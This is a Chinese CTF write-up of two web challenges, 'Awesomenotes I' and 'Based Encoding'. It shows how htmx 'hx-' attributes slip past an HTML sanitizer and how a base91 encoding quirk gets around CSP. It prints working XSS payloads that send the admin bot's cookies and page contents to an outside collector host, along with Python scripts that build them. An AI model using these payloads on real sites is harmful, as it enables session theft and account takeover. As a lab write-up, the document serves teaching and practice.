Awesomenotes I

xss,rust写的后端,让Copilot快速解释一下。

这段代码是一个 Rust 语言编写的 web 应用程序,使用了 Axum 框架和 Hyper 库。它提供了一些路由和处理函数,以及一个静态文件服务。具体来说,它提供了以下路由:

  • GET /:返回 public/index.html 文件的内容。
  • GET /create:返回 public/create.html 文件的内容。
  • GET /report:返回 public/report.html 文件的内容。
  • GET /note/:note:返回 public/upload/:note 文件的内容,其中 :note 是一个参数,表示文件名。
  • POST /api/note:上传一个笔记,笔记内容在表单数据中的名为 “note” 的字段中。
  • GET /api/note/:note:返回 public/upload/:note 文件的内容,其中 :note 是一个参数,表示文件名。
  • POST /api/report:接受一个名为 “link” 和 “g-recaptcha-response” 的表单数据,将其发送到一个名为 “BOT_HOST” 的环境变量指定的地址,并返回一个成功的报告页面。

其中,/note/:note 路由还需要一个名为 “session” 的 Cookie,如果请求的笔记是 “flag”,则需要一个名为 “ADMIN_SESSION” 的环境变量指定的值作为 Cookie 的值。如果没有这个 Cookie 或者 Cookie 的值不正确,则返回 401 状态码。如果请求的笔记文件名不是十六进制字符串,则返回 400 状态码。如果请求的笔记文件不存在,则返回 404 状态码。

在 /api/note 路由中,上传的笔记内容会被过滤,只保留 h1、p 和 div 标签,以及以 “hx-” 开头的通用属性。如果笔记内容长度超过 5000 字节,则返回 413 状态码。笔记文件名是一个随机生成的 32 字节十六进制字符串。

在 /api/report 路由中,会将表单数据发送到一个指定的地址,并返回一个成功的报告页面。如果发送失败,则返回 400 状态码。

总体来说,这个应用程序提供了一个简单的笔记上传和查看功能,以及一个报告功能。

很明显需要外带admin bot的cookie,然后拿flag。上面说的过滤在upload_note()中

1
2
3
4
5
let safe = ammonia::Builder::new()
.tags(hashset!["h1", "p", "div"])
.add_generic_attribute_prefixes(&["hx-"])
.clean(&body)
.to_string();

的确很明显的解释。那么这个hx-开头的属性是什么呢? htmx - high power tools for html这是一个对html标签的拓展,在不用写js的情况下丰富html标签的功能。翻翻拓展的属性里有这么个好东西

1
<div hx-on:click="alert('Clicked!')">Click</div>

但是这个还需要自己点击,文档中的示例还有使用htmx事件的,可以自动触发

1
2
3
4
<button hx-get="/info"
hx-on::after-request="alert('Making a request!')">
Get Info!
</button>

这个事件就是请求当前域下的/info后弹窗。当然button是不能使用的标签,我们可以改成div,然后js代码变为fetch请求

1
<div hx-get="/" hx-on::after-request="fetch('https://yzj.requestcatcher.com/test?cookie='+document.cookie)">test</div>

尝试请求直接请求/,但似乎依然没有自动触发。其实上面的文档示例的写法是在button标签中的写法,我们还需要添加一个触发器属性hx-trigger,然后找个能自动触发的属性,比如load

1
<div hx-get="/" hx-trigger="load" hx-on::after-request="fetch('https://yzj.requestcatcher.com/test?cookie='+document.cookie)">test</div>

呃,好像还是无法触发,控制台报错信息htmx:targetError。搜到Github上的一个issue htmx:targetError ·问题 #1822 ·BigSkySoftware/HTMX (github.com),原来还需要一个hx-target属性。根据文档的示例,我们可以把target设置成标签的属性,也可以设置成this

1
<div hx-get="/" hx-trigger="load" hx-target="this" hx-on::after-request="fetch('https://yzj.requestcatcher.com/test?cookie='+document.cookie)">test</div>

然后我们还会注意到奇怪的报错htmx.org@1.9.5:1 Response Status Error Code 404 from /a8da32b177aa00eea4f4fbffb293fde832fa8ee0c488da98d565ddda9a307367。经过测试发现,这一串字符串是当前note的id,会莫名其妙拼接到我们hx-get属性的路径后面,而且有几个标签就会拼接几次。很明显并没有这个路径,自然会报错。这里将#号放在url后面,这样一来这一坨字符串拼接上去后就会被当作书签,不会影响正确的请求

1
<div hx-get="/#" hx-trigger="load" hx-target="this" hx-on::after-request="fetch('https://yzj.requestcatcher.com/test?cookie='+document.cookie)">test</div>

所以理论上只要让admin bot请求一下,就能收到admin的cookie,最后带着admin的cookie访问/note/flag即可拿到flag。至于问什么是理论上,因为复现的时候好像admin bot炸了,我狂点按钮莫得反应(

其实上面targetError报错后可以干脆直接利用报错,因为有htmx:targetError这么个事件,可以试一下

1
<div hx-get="/#" hx-trigger="load" hx-on="htmx:targetError: fetch('https://yzj.requestcatcher.com/test?a='+document.cookie)">test</div>

但是注意,这里的hx-on写法在文档中被标注为deprecated,但必须如此,否则不会触发。

Based Encoding

直接让Copilot解释一下app.py干了什么。

这段代码是一个简单的 Flask web 应用程序,它提供了以下几个路由:

  • /:主页,显示用户创建的编码。
  • /login:登录页面,用户可以在此处输入用户名和密码以登录。
  • /signup:注册页面,用户可以在此处输入用户名和密码以创建新帐户。
  • /e/<encoding_id>:查看编码页面,用户可以在此处查看特定编码的详细信息。
  • /create:创建编码页面,用户可以在此处创建新编码。
  • /report:报告页面,用户可以在此处报告某个编码。

此应用程序还使用了 SQLite 数据库来存储用户帐户和编码信息。它还使用了一个名为 based91 的 Python 模块来对文本进行编码和解码。此外,它还使用了一个名为 subprocess 的 Python 模块来启动一个名为 adminbot.js 的 Node.js 脚本,以便管理员可以查看报告的编码。

这个解释乍一看就是比较正常的Flask服务,不过其实我们还是可以找到一些这题的关键

  • encoded = based91.encode(text.encode() if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0) else bytes.fromhex(text))
    <!--code8-->
    
    通过装饰器给每个请求添加CSP响应头,虽然阻止了外部js脚本,但是内联js脚本依然可以运行
    
    
  • cur.execute("INSERT INTO encodings (id, text, creator, expires) VALUES (?, ?, 'admin', 0)", [secrets.token_hex(20), FLAG])
    <!--code9-->
    
    

输出第一行是base91解码的结果,第二行是再编码的结果,也就是最后会被放到网页上的内容。至于为什么script标签后还有个=,因为解码后可能导致最后一两个字符出问题,也可以添加其他字符防止这个问题。所以我们复制这串十六进制提交一下就可以触发弹窗了。接下来尝试一下外带cookie吧……似乎带不出来,怎么回事呢?很可惜,cookie的HttpOnly属性被设置为true了,我们实际上无法使用document.cookie获得cookie。然后我发现,主页上获取encoding_id是有鉴权的,而/e/<encoding_id>页面并没有鉴权,所以其实我们能获得admin的主页就可以了!

接下来就是怎么实现这个功能的问题了。编写过程中还需要注意base91的字符表,比较关键的是 . 不在字符表中。直接说几个方法

  • 比如想外带到自己的服务器,ip地址可以变成十进制或十六进制等没有 . 的格式,依然可以正常访问
  • js需要使用 . 的情况可以使用["xxx"]这样的格式替换
  • 最通用的方式还是直接String.fromCharCode()方法

综合以上方式,比如想表示 . 就可以这样写:String["fromCharCode"](46)。曾想过使用iframe将主页加载进编码页面,但一通尝试后发现提取内容是一个很大的问题。然后参照对内学长所写的(这里仅对格式稍作修改,方便看)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import base64
import based91
import re

jss = '''`<img src=1 onerror="
let xhr = new XMLHttpRequest();
xhr.open('GET', 'https://based.skin/', false);
xhr.send(null);
window.open('http://ip:port/?res='+encodeURIComponent(xhr.responseText.slice(1440,1490)));
">`
'''
jss = (base64.b64encode(jss.encode()).decode())
s = f'<script>document["write"](atob(`{jss}`));1</script>'
print(s)
text = based91.decode(s).hex()
print(text)
encoded = based91.encode(text.encode() if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0) else bytes.fromhex(text))
print(encoded)

这边直接用base64将想插入的内容编码后,等脚本执行后直接将原始内容解码写入网页,好一手绕过操作,而且很明显绕过了任意符号。仿照xhr的写法,把自己脚本改成fetch实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import based91
import re
import binascii

text = '''<script>
fetch("/")
["then"](res => res["text"]())
["then"](text => text["match"](/[abcdef0123456789]{32,}/g))
["then"](encoding_id => window["open"]("http://ip:port?encoding_id="+encoding_id[0]))
</script>==''' # ip使用十进制表示

text = "".join(binascii.hexlify(based91.decode(text)).decode())
print(text + "\n")
text = based91.encode(text.encode() if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0) else bytes.fromhex(text))
print(text)

最后获得encoding_id,访问得flag。fetch的时候其实还有一些问题,比如这里fetch请求是同域下的网站所以一切顺利,但如果想跨域的话会被CORS限制,信息可以外带但收不到结果。另外,如果想直接fetch到自己的服务器也是不行的,因为没办法从https请求到http,会被判定为不安全而无法执行